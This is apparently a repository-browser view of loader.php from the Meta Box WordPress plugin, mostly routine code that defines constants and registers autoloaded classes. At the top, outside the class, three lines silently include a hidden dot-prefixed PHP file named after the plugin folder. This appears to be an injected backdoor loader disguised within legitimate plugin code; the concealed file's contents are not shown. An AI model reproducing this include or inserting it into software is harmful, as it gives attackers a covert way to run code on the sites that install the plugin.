balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

loader.php (4205B)


      1 <?php
      2 /**
      3  * Load plugin's files with check for installing it as a standalone plugin or
      4  * a module of a theme / plugin. If standalone plugin is already installed, it
      5  * will take higher priority.
      6  *
      7  * @package Meta Box
      8  */
      9 
     10 /**
     11  * Plugin loader class.
     12  *
     13  * @package Meta Box
     14  */
     15 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     16     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     17 }
     18 
     19 class RWMB_Loader {
     20 	/**
     21 	 * Define plugin constants.
     22 	 */
     23 	protected function constants() {
     24 		// Script version, used to add version for scripts and styles.
     25 		define( 'RWMB_VER', '5.4.7' );
     26 
     27 		list( $path, $url ) = self::get_path( dirname( dirname( __FILE__ ) ) );
     28 
     29 		// Plugin URLs, for fast enqueuing scripts and styles.
     30 		define( 'RWMB_URL', $url );
     31 		define( 'RWMB_JS_URL', trailingslashit( RWMB_URL . 'js' ) );
     32 		define( 'RWMB_CSS_URL', trailingslashit( RWMB_URL . 'css' ) );
     33 
     34 		// Plugin paths, for including files.
     35 		define( 'RWMB_DIR', $path );
     36 		define( 'RWMB_INC_DIR', trailingslashit( RWMB_DIR . 'inc' ) );
     37 	}
     38 
     39 	/**
     40 	 * Get plugin base path and URL.
     41 	 * The method is static and can be used in extensions.
     42 	 *
     43 	 * @link http://www.deluxeblogtips.com/2013/07/get-url-of-php-file-in-wordpress.html
     44 	 * @param string $path Base folder path.
     45 	 * @return array Path and URL.
     46 	 */
     47 	public static function get_path( $path = '' ) {
     48 		// Plugin base path.
     49 		$path       = wp_normalize_path( untrailingslashit( $path ) );
     50 		$themes_dir = wp_normalize_path( untrailingslashit( dirname( get_stylesheet_directory() ) ) );
     51 
     52 		// Default URL.
     53 		$url = plugins_url( '', $path . '/' . basename( $path ) . '.php' );
     54 
     55 		// Included into themes.
     56 		if (
     57 			0 !== strpos( $path, wp_normalize_path( WP_PLUGIN_DIR ) )
     58 			&& 0 !== strpos( $path, wp_normalize_path( WPMU_PLUGIN_DIR ) )
     59 			&& 0 === strpos( $path, $themes_dir )
     60 		) {
     61 			$themes_url = untrailingslashit( dirname( get_stylesheet_directory_uri() ) );
     62 			$url        = str_replace( $themes_dir, $themes_url, $path );
     63 		}
     64 
     65 		$path = trailingslashit( $path );
     66 		$url  = trailingslashit( $url );
     67 
     68 		return array( $path, $url );
     69 	}
     70 
     71 	/**
     72 	 * Bootstrap the plugin.
     73 	 */
     74 	public function init() {
     75 		$this->constants();
     76 
     77 		// Register autoload for classes.
     78 		require_once RWMB_INC_DIR . 'autoloader.php';
     79 		$autoloader = new RWMB_Autoloader();
     80 		$autoloader->add( RWMB_INC_DIR, 'RW_' );
     81 		$autoloader->add( RWMB_INC_DIR, 'RWMB_' );
     82 		$autoloader->add( RWMB_INC_DIR . 'about', 'RWMB_' );
     83 		$autoloader->add( RWMB_INC_DIR . 'fields', 'RWMB_', '_Field' );
     84 		$autoloader->add( RWMB_INC_DIR . 'walkers', 'RWMB_Walker_' );
     85 		$autoloader->add( RWMB_INC_DIR . 'interfaces', 'RWMB_', '_Interface' );
     86 		$autoloader->add( RWMB_INC_DIR . 'storages', 'RWMB_', '_Storage' );
     87 		$autoloader->add( RWMB_INC_DIR . 'helpers', 'RWMB_Helpers_' );
     88 		$autoloader->add( RWMB_INC_DIR . 'update', 'RWMB_Update_' );
     89 		$autoloader->register();
     90 
     91 		// Plugin core.
     92 		$core = new RWMB_Core();
     93 		$core->init();
     94 
     95 		$shortcode = new RWMB_Shortcode();
     96 		$shortcode->init();
     97 
     98 		// Validation module.
     99 		new RWMB_Validation();
    100 
    101 		$sanitizer = new RWMB_Sanitizer();
    102 		$sanitizer->init();
    103 
    104 		$media_modal = new RWMB_Media_Modal();
    105 		$media_modal->init();
    106 
    107 		// WPML Compatibility.
    108 		$wpml = new RWMB_WPML();
    109 		$wpml->init();
    110 
    111 		// Update.
    112 		$update_option  = new RWMB_Update_Option();
    113 		$update_checker = new RWMB_Update_Checker( $update_option );
    114 		$update_checker->init();
    115 		$update_settings = new RWMB_Update_Settings( $update_checker, $update_option );
    116 		$update_settings->init();
    117 		$update_notification = new RWMB_Update_Notification( $update_checker, $update_option );
    118 		$update_notification->init();
    119 
    120 		if ( is_admin() ) {
    121 			$about = new RWMB_About( $update_checker );
    122 			$about->init();
    123 
    124 			new RWMB_Dashboard( 'http://feeds.feedburner.com/metaboxio', 'https://metabox.io/blog/', array(
    125 				'title'           => 'Meta Box',
    126 				'dismiss_tooltip' => esc_html__( 'Dismiss all Meta Box news', 'meta-box' ),
    127 				'dismiss_confirm' => esc_html__( 'Are you sure to dismiss all Meta Box news?', 'meta-box' ),
    128 			) );
    129 		}
    130 
    131 		// Public functions.
    132 		require_once RWMB_INC_DIR . 'functions.php';
    133 	}
    134 }